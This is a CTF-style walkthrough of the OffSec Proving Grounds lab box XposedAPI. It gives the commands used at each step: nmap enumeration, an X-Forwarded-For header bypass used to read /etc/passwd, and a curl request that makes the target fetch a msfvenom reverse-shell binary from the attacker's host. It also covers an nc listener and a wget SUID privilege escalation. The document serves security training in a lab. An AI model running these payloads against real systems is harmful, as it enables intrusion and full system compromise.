Offsec’s Proving Grounds Practice box, XposedAPI, is rated intermediate, but the community disagrees and rated it hard. Much like the name suggests, the box starts with an exposed API. Once exploited, we gain a shell and find privilege escalation through a SUID binary.
— NMAP Scan
makoyi@kali [~]
❯ sudo nmap -Pn -n 192.168.229.134 -sC -sV -p- --open
[sudo] password for makoyi:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-17 21:47 -0500
Nmap scan report for 192.168.229.134
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
13337/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Remote Software Management API
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.94 seconds
Navigating to the web page on port 13337, we find in big, bold, red lettering.
Press enter or click to view image in full size
That’s a pretty good indicator that we’re on the right track. Scrolling further down the page, we find some more interesting things and what appears to be our attack vector.
Press enter or click to view image in full size
The first thing I wanted to do was to take a look at the logs, but attempting to look at it in the web browser won’t seem to work.
Press enter or click to view image in full size
Easy enough to bypass, all we need to do is change the header, and based on the output, “for this host”, I thought that maybe changing the header to localhost might work.
curl http://192.168.229.134:13337/logs -H "X-Forwarded-For:localhost"It didn’t work quite like I had planned, but at least it gave me enough information to fix what I did wrong.
curl http://192.168.229.134:13337/logs\?file\=/etc/passwd -H "X-Forwarded-For:localhost"Well, look at that, it seemed to work and we got the contents of /etc/passwd.
Looking back at the contents of the webpage, /update looks like we can upload a shell into the system, now that we know the user’s name is clumsyadmin.
Join Medium for free to get updates from this writer.
First, let’s go ahead and give it a test run, and see if it’s as good of a way in as I’m hoping it is.
python3 -m http.server 80curl -X POST http://192.168.229.134:13337/update -H "Content-Type: application/json" --data '{"user":"clumsyadmin","url":"http://<ATTACKER IP>/test"}'Press enter or click to view image in full size
Ok, it works, now we need to build a payload to upload to the system.
msfvenom -p linux/x64/shell_reverse_tcp lhost=<ATTACKER IP> lport=4444 -f elf > exp.elfNow, start a listener to catch our reverse shell.
rlwrap -cAr nc -lvnp 4444curl -X POST http://192.168.229.134:13337/update -H "Content-Type: application/json" --data '{"user":"clumsyadmin","url":"http://192.168.45.219/exp.elf"}'The output says that we need to restart the software for the changes to take effect.
curl http://192.168.229.134:13337/restartBased on the output, we have to add a little extra input for the software to be restarted. Looks like the request needs to have the data ‘{“confirm”:”true”}’ in the request to work.
curl http://192.168.229.134:13337/restart --data '{"confirm":"true"}'We grab a shell as the user clumsyadmin and find local.txt in the home directory.
The first thing I did, was run sudo -l, but without the password for the account, I had no access to it. Moving on, time to check SUID binaries.
find / -perm -u=s -type f 2>/dev/nullIf the account has access to python, in which case this user does, I like to use an automated SUID enumerator.
python suid3num.pyWget has SUID binary set, time to go check out GTFObins.
Press enter or click to view image in full size
TF=$(mktemp)chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
wget --use-askpass=$TF 0
Now we can read the proof.txt file in the root directory.
Press enter or click to view image in full size
Thank you for reading!
I hope this walkthrough helps, stay ethical, and happy hacking!